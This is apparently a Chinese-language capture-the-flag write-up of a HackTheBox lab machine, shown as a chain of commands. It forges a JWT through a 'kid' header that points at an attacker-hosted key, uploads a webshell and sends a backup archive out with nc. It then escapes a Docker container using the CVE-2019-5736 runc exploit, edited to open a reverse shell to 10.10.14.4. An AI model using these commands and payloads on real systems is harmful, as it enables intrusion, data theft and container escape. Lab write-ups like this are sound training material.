信息搜集
靶机IP
端口扫描
nmap 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.14s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4321/tcp filtered rwhois
10010/tcp filtered rxapi
80
Web页面有注册功能以及登陆
带有添加笔记功能
测试了一下,没有sql注入,模板注入等
在解码cookie中的auth后
带有认证,以及刚刚注册的信息中包含 admin_cap,其中值为false
尝试修改为 true,来绕过认证得到 admin权限
Web利用
由于有认证加密,所以需要生成密钥 RSASHA256
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key
安装 pyjwt
pip3 install pyjwt
exp.py
import jwt
# first import jwt module
priv_key = '''your_generated_private_key'''
payload = {"username":"kunal","email":"kunal@gmail.com","admin_cap":1}
# here i can change "admin_cap" 0 to 1, because if 0 is not admin, then most probably it might be 1 let's try.
jwt = jwt.encode(payload,priv_key,algorithm='RS256',headers={"kid": "http://your_localhostip/private_key_file_name.key"})
# now encoding the jwt token
print(jwt)
# print the new jwt token.
1、填入生成密钥
2、修改信息
3、更改 kid的值
----- more -----
payload = {"username":"mengyun","email":"mengyun@gmail.com","admin_cap":1}
# here i can change "admin_cap" 0 to 1, because if 0 is not admin, then most probably it might be 1 let's try.
jwt = jwt.encode(payload,priv_key,algorithm='RS256',headers={"kid": "http://10.10.14.4:8000/privKey.key"})
# now encoding the jwt token
print(jwt)
使用刚刚注册的账号信息
伪造cookie
1、生成 auth值
2、开启一个临时服务器
3、在浏览器中填入值
4、刷新后会收到一条请求,代表成功
获取shell
在伪造 cookie后,得到admin权限,上传一个木马得到shell
在 /var/backups目录中得到 home.tar.gz
使用 nc将其传至攻击机
接收端
nc -lvp 2233 > home.tar.gz
发送端
nc ip 2233 < home.tar.gz
移动至 noah用户
在解压 home.tar.gz后得到 noah用户密钥
ssh -i id_rsa noah@10.10.10.230
获取 root
sudo /usr/bin/docker exec -it webapp-dev01 sh
得到 root shell,但是是 docker容器的,还需要逃逸
CVE-2019-5736
GitHub - Frichetten/CVE-2019-5736-PoC: PoC for CVE-2019-5736
下载后编辑main.go
修改为
var payload = "#!/bin/bash n bash -i >& /dev/tcp/10.10.14.4/2234 0>&1"
编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将 exp传到 docker容器内
wget 10.10.14.4:8001/main
chmod +x main
./main
攻击机监听 2234端口
noah用户输入
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 sh
No help topic for '/bin/sh'
得到shell